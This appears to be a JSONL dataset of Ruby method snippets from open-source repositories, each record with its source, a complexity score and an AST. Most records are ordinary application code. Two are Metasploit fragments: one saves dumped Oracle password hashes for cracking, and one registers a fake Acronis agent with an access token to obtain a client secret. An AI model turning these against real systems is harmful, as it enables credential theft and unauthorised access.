},\"join\",{\"type\":\"lvar\",\"children\":[\"path\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"locale\"]}]},{\"type\":\"str\",\"children\":[\".js\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"exist?\",{\"type\":\"lvar\",\"children\":[\"filename\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"locale\"]},{\"type\":\"lvar\",\"children\":[\"filename\"]}]},null]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"block_given?\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"locale_chain\"]},\"map!\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"locale\"]}]},{\"type\":\"yield\",\"children\":[{\"type\":\"lvar\",\"children\":[\"locale\"]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"locale_chain\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"locale_chain\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"l\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"l\"]},\"split\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"[-_]\"]},{\"type\":\"regopt\",\"children\":[]}]}]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]},\"uniq\"]},\"reject\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"l\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"locale_chain\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"l\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"locale_chain\"]},\"any?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"locale_data\",{\"type\":\"send\",\"children\":[null,\"find_locale\",{\"type\":\"lvar\",\"children\":[\"locale_chain\"]},{\"type\":\"lvar\",\"children\":[\"path\"]},{\"type\":\"lvar\",\"children\":[\"type\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"fallback_to_english\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"locale_data\"]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"locale_data\"]}]},null]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fallback_to_english\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"en\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"lvar\",\"children\":[\"path\"]},{\"type\":\"str\",\"children\":[\"en.js\"]}]}]},null]}]}]}","id":"3c3f060d-f460-43b0-a59b-1218dc1a896b"}
{"repo_name":"spree","file_path":"./repos/spree/api/app/controllers/spree/api/v2/storefront/checkout_controller.rb","start_line":59,"raw_source":"def select_shipping_method\n            result = select_shipping_method_service.call(order: spree_current_order, params: params)\n\n            render_order(result)\n          end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"select_shipping_method\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"select_shipping_method_service\"]},\"call\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"order\"]},{\"type\":\"send\",\"children\":[null,\"spree_current_order\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"params\"]},{\"type\":\"send\",\"children\":[null,\"params\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"render_order\",{\"type\":\"lvar\",\"children\":[\"result\"]}]}]}]}","id":"7bd966d9-40c0-4bad-8a49-1e3d62c2e7b2"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/serializers/basic_reviewable_queued_post_serializer.rb","start_line":10,"raw_source":"def payload_title\n    object.payload[\"title\"]\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"payload_title\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"payload\"]},\"[]\",{\"type\":\"str\",\"children\":[\"title\"]}]}]}","id":"14226f16-c7c4-4279-9fb1-4011ef375f04"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_worker/runner.rb","start_line":260,"raw_source":"def sync_config\n    # Sync roles\n    @active_roles = MiqServer.my_active_roles(true)\n    after_sync_active_roles\n\n    # Sync settings\n    Vmdb::Settings.reload!\n    @my_zone ||= MiqServer.my_zone\n    sync_worker_settings\n    after_sync_config\n\n    _log.info(\"ID [#{@worker.id}], PID [#{Process.pid}], GUID [#{@worker.guid}], Zone [#{@my_zone}], Active Roles [#{@active_roles.join(',')}], Assigned Roles [#{MiqServer.my_role}], Configuration:\")\n    $log.log_hashes(@worker_settings)\n    $log.info(\"---\")\n    $log.log_hashes(@cfg)\n\n    @worker.release_db_connection if @worker.respond_to?(:release_db_connection)\n  end","complexity_score":22.3,"ast_json":"{\"type\":\"def\",\"children\":[\"sync_config\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@active_roles\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MiqServer\"]},\"my_active_roles\",{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"after_sync_active_roles\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Vmdb\"]},\"Settings\"]},\"reload!\"]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@my_zone\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MiqServer\"]},\"my_zone\"]}]},{\"type\":\"send\",\"children\":[null,\"sync_worker_settings\"]},{\"type\":\"send\",\"children\":[null,\"after_sync_config\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_log\"]},\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"ID [\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@worker\"]},\"id\"]}]},{\"type\":\"str\",\"children\":[\"], PID [\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Process\"]},\"pid\"]}]},{\"type\":\"str\",\"children\":[\"], GUID [\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@worker\"]},\"guid\"]}]},{\"type\":\"str\",\"children\":[\"], Zone [\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@my_zone\"]}]},{\"type\":\"str\",\"children\":[\"], Active Roles [\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@active_roles\"]},\"join\",{\"type\":\"str\",\"children\":[\",\"]}]}]},{\"type\":\"str\",\"children\":[\"], Assigned Roles [\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MiqServer\"]},\"my_role\"]}]},{\"type\":\"str\",\"children\":[\"], Configuration:\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"gvar\",\"children\":[\"$log\"]},\"log_hashes\",{\"type\":\"ivar\",\"children\":[\"@worker_settings\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"gvar\",\"children\":[\"$log\"]},\"info\",{\"type\":\"str\",\"children\":[\"---\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"gvar\",\"children\":[\"$log\"]},\"log_hashes\",{\"type\":\"ivar\",\"children\":[\"@cfg\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@worker\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"release_db_connection\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@worker\"]},\"release_db_connection\"]},null]}]}]}","id":"6b3102ae-b81e-4469-8231-19f461da1e60"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/oracle/oracle_hashdump.rb","start_line":108,"raw_source":"def report_hashes(table, ver, ip, service)\n    # Before module jtr_oracle_fast cracks these hashes, they are converted (based on jtr_format)\n    # to a format that John The Ripper can handle. This format is stored here.\n    case ver\n    when '8i', '10g'\n      jtr_format = \"des,oracle\"\n    when '11g'\n      jtr_format = \"raw-sha1,oracle11\"\n    when '12c'\n      jtr_format = \"oracle12c\"\n    end\n\n    service_data = {\n      address: Rex::Socket.getaddress(ip),\n      port: service[:port],\n      protocol: service[:proto],\n      service_name: service[:name],\n      workspace_id: myworkspace_id\n    }\n\n    # For each row in the hash table, save its corresponding credential data and JTR format\n    table.rows.each do |row|\n      credential_data = {\n        origin_type: :service,\n        module_fullname: self.fullname,\n        username: row[0],\n        private_data: row[1],\n        private_type: :nonreplayable_hash,\n        jtr_format: jtr_format\n      }\n\n      credential_core = create_credential(credential_data.merge(service_data))\n\n      login_data = {\n        core: credential_core,\n        status: Metasploit::Model::Login::Status::UNTRIED\n      }\n\n      create_credential_login(login_data.merge(service_data))\n    end\n    print_good(\"Hash Table has been saved\")\n  end","complexity_score":30.85,"ast_json":"{\"type\":\"def\",\"children\":[\"report_hashes\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"table\"]},{\"type\":\"arg\",\"children\":[\"ver\"]},{\"type\":\"arg\",\"children\":[\"ip\"]},{\"type\":\"arg\",\"children\":[\"service\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ver\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"8i\"]},{\"type\":\"str\",\"children\":[\"10g\"]},{\"type\":\"lvasgn\",\"children\":[\"jtr_format\",{\"type\":\"str\",\"children\":[\"des,oracle\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"11g\"]},{\"type\":\"lvasgn\",\"children\":[\"jtr_format\",{\"type\":\"str\",\"children\":[\"raw-sha1,oracle11\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"12c\"]},{\"type\":\"lvasgn\",\"children\":[\"jtr_format\",{\"type\":\"str\",\"children\":[\"oracle12c\"]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"service_data\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"address\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Socket\"]},\"getaddress\",{\"type\":\"lvar\",\"children\":[\"ip\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"port\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"service\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"port\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"protocol\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"service\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"proto\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"service_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"service\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"name\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"workspace_id\"]},{\"type\":\"send\",\"children\":[null,\"myworkspace_id\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"table\"]},\"rows\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"row\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"credential_data\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"origin_type\"]},{\"type\":\"sym\",\"children\":[\"service\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"module_fullname\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"fullname\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"username\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"private_data\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"private_type\"]},{\"type\":\"sym\",\"children\":[\"nonreplayable_hash\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"jtr_format\"]},{\"type\":\"lvar\",\"children\":[\"jtr_format\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"credential_core\",{\"type\":\"send\",\"children\":[null,\"create_credential\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"credential_data\"]},\"merge\",{\"type\":\"lvar\",\"children\":[\"service_data\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"login_data\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"core\"]},{\"type\":\"lvar\",\"children\":[\"credential_core\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Metasploit\"]},\"Model\"]},\"Login\"]},\"Status\"]},\"UNTRIED\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"create_credential_login\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"login_data\"]},\"merge\",{\"type\":\"lvar\",\"children\":[\"service_data\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"str\",\"children\":[\"Hash Table has been saved\"]}]}]}]}","id":"8de72341-0cdf-4eb0-9ec5-8abae7b6e993"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/adapters/postgresql/range_test.rb","start_line":511,"raw_source":"def test_where_by_attribute_with_range_in_array\n    range = 1..100\n    record = PostgresqlRange.create!(int4_range: range)\n    assert_equal record, PostgresqlRange.where(int4_range: [range]).take\n  end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_where_by_attribute_with_range_in_array\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"range\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[100]}]}]},{\"type\":\"lvasgn\",\"children\":[\"record\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PostgresqlRange\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"int4_range\"]},{\"type\":\"lvar\",\"children\":[\"range\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"record\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PostgresqlRange\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"int4_range\"]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"range\"]}]}]}]}]},\"take\"]}]}]}]}","id":"47304fa9-985b-4a9c-8f10-683ebf37d823"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/tooling/lib/tooling/mappings/view_to_system_specs_mappings.rb","start_line":53,"raw_source":"def find_system_specs_parent_folder_match(view_file)\n        parent_system_specs_folder = File.dirname(to_feature_spec_folder(view_file))\n\n        Dir[\"#{parent_system_specs_folder}/**/*_spec.rb\"]\n      end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"find_system_specs_parent_folder_match\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"view_file\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"parent_system_specs_folder\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"dirname\",{\"type\":\"send\",\"children\":[null,\"to_feature_spec_folder\",{\"type\":\"lvar\",\"children\":[\"view_file\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Dir\"]},\"[]\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parent_system_specs_folder\"]}]},{\"type\":\"str\",\"children\":[\"/**/*_spec.rb\"]}]}]}]}]}","id":"6b22068b-2798-4aab-97e6-7ded571463ed"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/remote/http/acronis_cyber.rb","start_line":38,"raw_source":"def dummy_agent_registration(client_id, access_token1)\n    name = Rex::Text.rand_text_alphanumeric(5..8).downcase\n    post_data = {\n      client_id: client_id.to_s,\n      data: { agent_type: 'backupAgent', hostname: name.to_s, is_transient: true },\n      tenant_id: nil,\n      token_endpoint_auth_method: 'client_secret_basic',\n      type: 'agent'\n    }.to_json\n    res = send_request_cgi({\n      'method' => 'POST',\n      'uri' => normalize_uri(target_uri.path, 'api', 'account_server', 'v2', 'clients'),\n      'ctype' => 'application/json',\n      'headers' => {\n        'X-Requested-With' => 'XMLHttpRequest',\n        'Authorization' => \"bearer #{access_token1}\"\n      },\n      'data' => post_data.to_s\n    })\n    return unless res&.code == 201 && res.body.include?('client_id') && res.body.include?('client_secret')\n\n    # parse json response and return client_secret\n    res_json = res.get_json_document\n    return if res_json.blank?\n\n    res_json['client_secret']\n  end","complexity_score":31.03,"ast_json":"{\"type\":\"def\",\"children\":[\"dummy_agent_registration\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"client_id\"]},{\"type\":\"arg\",\"children\":[\"access_token1\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"name\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alphanumeric\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[5]},{\"type\":\"int\",\"children\":[8]}]}]},\"downcase\"]}]},{\"type\":\"lvasgn\",\"children\":[\"post_data\",{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"client_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"client_id\"]},\"to_s\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"data\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"agent_type\"]},{\"type\":\"str\",\"children\":[\"backupAgent\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"hostname\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"to_s\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"is_transient\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"tenant_id\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"token_endpoint_auth_method\"]},{\"type\":\"str\",\"children\":[\"client_secret_basic\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"str\",\"children\":[\"agent\"]}]}]},\"to_json\"]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"api\"]},{\"type\":\"str\",\"children\":[\"account_server\"]},{\"type\":\"str\",\"children\":[\"v2\"]},{\"type\":\"str\",\"children\":[\"clients\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"ctype\"]},{\"type\":\"str\",\"children\":[\"application/json\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"headers\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"X-Requested-With\"]},{\"type\":\"str\",\"children\":[\"XMLHttpRequest\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Authorization\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"bearer \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"access_token1\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"data\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post_data\"]},\"to_s\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[201]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"include?\",{\"type\":\"str\",\"children\":[\"client_id\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"include?\",{\"type\":\"str\",\"children\":[\"client_secret\"]}]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"res_json\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"get_json_document\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res_json\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res_json\"]},\"[]\",{\"type\":\"str\",\"children\":[\"client_secret\"]}]}]}]}","id":"78d96e4f-eee2-4026-bc04-7c8d3ce921ba"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/namespaces/traversal/linear_scopes.rb","start_line":47,"raw_source":"def order_by_depth(hierarchy_order)\n          return all unless hierarchy_order\n\n          depth_order = hierarchy_order == :asc ? :desc : :asc\n\n          all\n            .select(Namespace.default_select_columns, 'array_length(traversal_ids, 1) as depth')\n            .order(depth: depth_order, id: :asc)\n        end","complexity_score":10.1,"ast_json":"{\"type\":\"def\",\"children\":[\"order_by_depth\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"hierarchy_order\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hierarchy_order\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"all\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"depth_order\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hierarchy_order\"]},\"==\",{\"type\":\"sym\",\"children\":[\"asc\"]}]},{\"type\":\"sym\",\"children\":[\"desc\"]},{\"type\":\"sym\",\"children\":[\"asc\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"all\"]},\"select\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Namespace\"]},\"default_select_columns\"]},{\"type\":\"str\",\"children\":[\"array_length(traversal_ids, 1) as depth\"]}]},\"order\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"depth\"]},{\"type\":\"lvar\",\"children\":[\"depth_order\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"sym\",\"children\":[\"asc\"]}]}]}]}]}]}","id":"1dd05e94-6d87-45ea-a345-e3d955e1e6a2"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/projects/analytics/cycle_analytics/summary_controller.rb","start_line":15,"raw_source":"def show\n    render json: project_level.summary\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"show\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project_level\"]},\"summary\"]}]}]}]}]}","id":"edee3885-9e9c-4543-8327-85bceb3aa2fd"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/migrate/20250127181504_insert_forgotten_active_versioned_pages_deployments_limit_by_namespace.rb","start_line":14,"raw_source":"def down\n    create_or_update_plan_limit('active_versioned_pages_deployments_limit_by_namespace',\n      'ultimate_trial_paid_customer', 0)\n    create_or_update_plan_limit('active_versioned_pages_deployments_limit_by_namespace',\n      'opensource', 0)\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_or_update_plan_limit\",{\"type\":\"str\",\"children\":[\"active_versioned_pages_deployments_limit_by_namespace\"]},{\"type\":\"str\",\"children\":[\"ultimate_trial_paid_customer\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[null,\"create_or_update_plan_limit\",{\"type\":\"str\",\"children\":[\"active_versioned_pages_deployments_limit_by_namespace\"]},{\"type\":\"str\",\"children\":[\"opensource\"]},{\"type\":\"int\",\"children\":[0]}]}]}]}","id":"ee1acd49-885e-458d-a614-b93fd11daae6"}
{"repo_name":"warden","file_path":"./repos/warden/lib/warden/proxy.rb","start_line":314,"raw_source":"def asset_request?\n      ::Warden::asset_paths.any? { |r| env['PATH_INFO'].to_s.match(r) }\n    end","complexity_score":8.8,"ast_json":"{\"type\":\"def\",\"children\":[\"asset_request?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Warden\"]},\"asset_paths\"]},\"any?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"r\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"env\"]},\"[]\",{\"type\":\"str\",\"children\":[\"PATH_INFO\"]}]},\"to_s\"]},\"match\",{\"type\":\"lvar\",\"children\":[\"r\"]}]}]}]}","id":"8ee03aee-e630-43d5-b03a-e4cdc2f58b75"}
